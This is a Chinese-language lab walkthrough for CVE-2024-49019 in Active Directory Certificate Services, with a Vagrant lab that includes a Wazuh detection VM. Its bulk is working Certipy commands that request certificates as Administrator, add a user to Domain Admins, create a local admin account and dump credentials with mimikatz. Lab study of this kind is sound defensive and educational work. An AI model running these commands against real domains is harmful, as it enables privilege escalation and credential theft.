CVE-2024-49019 是 Active Directory 证书服务 (AD CS) 中的一个漏洞,允许攻击者通过滥用基于证书的身份验证来提升权限。本指南演示如何使用 Certipy 利用此漏洞。
| 虚拟机 | 用户名 | 密码 |
|---|---|---|
| Windows Server 2022 | Administrator | !@windowsadmintest101 |
| Windows Server 2022 | testuser | $Vulnerable139 |
| Kali-VM | vagrant | vagrant |
| Ubuntu-Wazuh | wazuh | admin |
Ubuntu-Wazuh VM 用于检测目的。检测指南 缓解措施
首先,克隆包含必要文件的仓库:
git clone https://github.com/rayngnpc/CVE-2024-49019-rayng.git
cd CVE-2024-49019-rayng
在继续之前,您必须在主机上安装 Vagrant。
从此处下载并安装 Vagrant,或使用 PowerShell 安装:
choco install vagrant
sudo apt update && sudo apt install vagrant -y
cd windows-server2022
vagrant up
cd kali-VM
vagrant up
cd WazuhUbuntu
vagrant up
由于漏洞利用需要 NAT 网络,请按如下方式配置 VirtualBox:
在运行以下命令之前,请确保 VBoxManage 已添加到环境变量中。否则,请使用完整路径执行命令:
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
如果 VBoxManage 无法识别,请使用:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
务必检查 VirtualBox 中的所有虚拟机,确保它们已分配到网络适配器 NatNetwork - NatNet1。您可以使用不同的名称创建 NAT 网络,但必须位于 IP 范围 10.0.2.0/24 内。
在继续之前,确保所有虚拟机都已开启。
访问 Kali Linux VM 以开始攻击,并更新您的 /etc/hosts 文件:
sudo nano /etc/hosts
添加以下条目:
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
保存并退出。
导航到 CVE-49019 目录并激活 Python 虚拟环境:
cd ~/CVE-49019
source ~/CVE-49019/rayng/bin/activate
有两种利用此漏洞的方法:ESC1 和 ESC3。
certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout
certipy req -ca pchau-SERVER2022-CA -target-ip 10.0.2.121 -u '[email protected]' -p '$Vulnerable139' -template "WebServer" -upn "[email protected]" --application-policies 'Client Authentication'
certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121
add_user badadmin
add_user_to_group badadmin "Domain Admins"
certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout
certipy req -u [email protected] -p '$Vulnerable139' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'pchau-SERVER2022-CA' -template WebServer -dc-ip 10.0.2.121
certipy req -u [email protected] -p '$Vulnerable139' -on-behalf-of PCHAU\\Administrator -template USER -ca 'pchau-SERVER2022-CA' -pfx testuser.pfx -dc-ip 10.0.2.121
certipy auth -pfx administrator.pfx -dc-ip 10.0.2.121
有一个变通方法,请确保您的主机与 Windows Server 本身具有相同的时间。 请确保执行此命令,以便 Kali-Linux VM 与 Windows-Server 时间同步。
sudo timedatectl set-ntp off
sudo rdate -n 10.0.2.121
w32tm /config /manualpeerlist:"time.windows.com,0x8" /syncfromflags:manual /reliable:yes /update
certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121
一旦获得管理员级别访问权限,攻击者可以:
net user hacked /add
net localgroup "Administrators" hacked /add
sekurlsa::logonpasswords
有关检测和缓解策略,请参阅检测指南。
CVE-2024-49019 由于允许未经授权的权限提升,带来了重大的安全风险。了解此漏洞并部署适当的检测机制(例如使用 Wazuh)对于保护 Active Directory 环境至关重要。
有关保护 AD CS 的更多信息,请参阅 Microsoft Security CVE-2024-49019。